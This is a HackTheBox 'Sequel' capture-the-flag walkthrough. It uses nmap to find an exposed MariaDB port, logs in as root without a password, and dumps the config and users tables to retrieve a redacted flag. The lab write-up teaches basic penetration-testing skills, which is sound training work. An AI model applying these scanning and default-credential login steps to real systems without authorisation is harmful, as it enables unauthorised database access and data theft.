Sequel

CHALLENGE INFORMATION

	Platform: HackTheBox Collection: Starting Point Tier: 1 Machine: Sequel Released: 06/10/2021

MACHINE SYNOPSIS

Sequel is a very easy Linux machine that introduces a vulnerable MySQL service misconfigured to allow access without a password. The machine showcases how to enumerate and interact with the database through SQL queries to extract critical information.

Preparations

There are several methods for connecting to the target machine. Throughout this walkthrough, we utilize the provided pwnbox.

Once our connection is established, we spawn the target machine.

Additionally – though not required – we may set a local shell variable containing the target host’s IP address. Once defined, we can access it by prepending $ to the variable name.

user@kali:~$ rhost=<target-hosts-ip>
user@kali:~$ echo $rhost 
<target-hosts-ip>
user@kali:~$

We can remove the variable with the unset command when it is no longer needed.

user@kali:~$ unset rhost

Task-1

Question: During our scan, which port do we find serving MySQL?

3306

Let us begin reconnaissance with an all-port TCP Nmap scan, using the -T5 option to set the timing template to fastest.

user@kali:~$ nmap -p- -T5 $rhost 
...
PORT     STATE SERVICE
3306/tcp open  mysql
...
user@kali:~$

Task-2

Question: What community-developed MySQL version is the target running?

MariaDB

Running nmap with the -sV option for service name and version detection proves unsuccessful – the program hangs.

user@kali:~$ nmap -p 3306 -sV $rhost -vvv
...
Scanning 10.129.17.29 [1 port]
Discovered open port 3306/tcp on 10.129.17.29
Completed Connect Scan at 21:02, 0.01s elapsed (1 total ports)
Initiating Service scan at 21:02
Scanning 1 service on 10.129.17.29
...

We attempt the scan again, this time running only scripts from the safe category with the --script=safe option.

user@kali:~$ nmap -p 3306 --script=safe $rhost
...
PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-info: 
...
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
...
user@kali:~$

Task-3

Question: When using the MySQL command line client, what switch do we need to use in order to specify a login username?

-u

The program’s built-in --help option assists us in identifying the correct flag.

user@kali:~$ mysql --help
...
Usage: mysql [OPTIONS] [database]
...
  -u, --user=name     User for login if not current user.
...
user@kali:~$

Task-4

Question: Which username allows us to log into this MariaDB instance without providing a password?

root

We attempt authentication using common default credentials.

user@kali:~$ mysql -h $rhost -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
...
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
...
MariaDB [(none)]>

Task-5

Question: In SQL, what symbol can we use to specify within the query that we want to display everything inside a table?

*

Knowledge of basic SQL syntax provides the answer.

Task-6

Question: In SQL, what symbol do we need to end each query with?

;

The MariaDB welcome message explicitly indicates this requirement.

Task-7

Question: There are three databases in this MySQL instance that are common across all MySQL instances. What is the name of the fourth that’s unique to this host?

htb

We use the show command to enumerate all available databases.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+
...
MariaDB [(none)]>

Of these, the htb database is the only one unique to this host.

Submit The Flag

Question: Submit root flag

<redacted-flag>

We proceed to dump the contents of the htb database. First, we select the database and enumerate its tables with show tables;.

MariaDB [(none)]> use htb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+
...
MariaDB [htb]>

We dump all data from the tables, applying the information obtained in previous tasks:

• The usage of * from Task-5
• The usage of ; from Task-6
• The targeted database from Task-7

The select command – which we can reference in SQL documentation – completes our query syntax.

MariaDB [htb]> select * from config;
+----+-----------------------+----------------------------------+
| id | name                  | value                            |
+----+-----------------------+----------------------------------+
|  1 | timeout               | 60s                              |
|  2 | security              | default                          |
|  3 | auto_logon            | false                            |
|  4 | max_size              | 2M                               |
|  5 | flag                  | <redacted-flag>                  |
|  6 | enable_uploads        | false                            |
|  7 | authentication_method | radius                           |
+----+-----------------------+----------------------------------+
...
MariaDB [htb]> select * from users; 
+----+----------+------------------+
| id | username | email            |
+----+----------+------------------+
|  1 | admin    | [email protected] |
|  2 | lara     | [email protected]  |
|  3 | sam      | [email protected]   |
|  4 | mary     | [email protected]  |
+----+----------+------------------+
...
MariaDB [htb]>

The flag resides in the config table.

Make sure to terminate the target box before continuing with the next machine!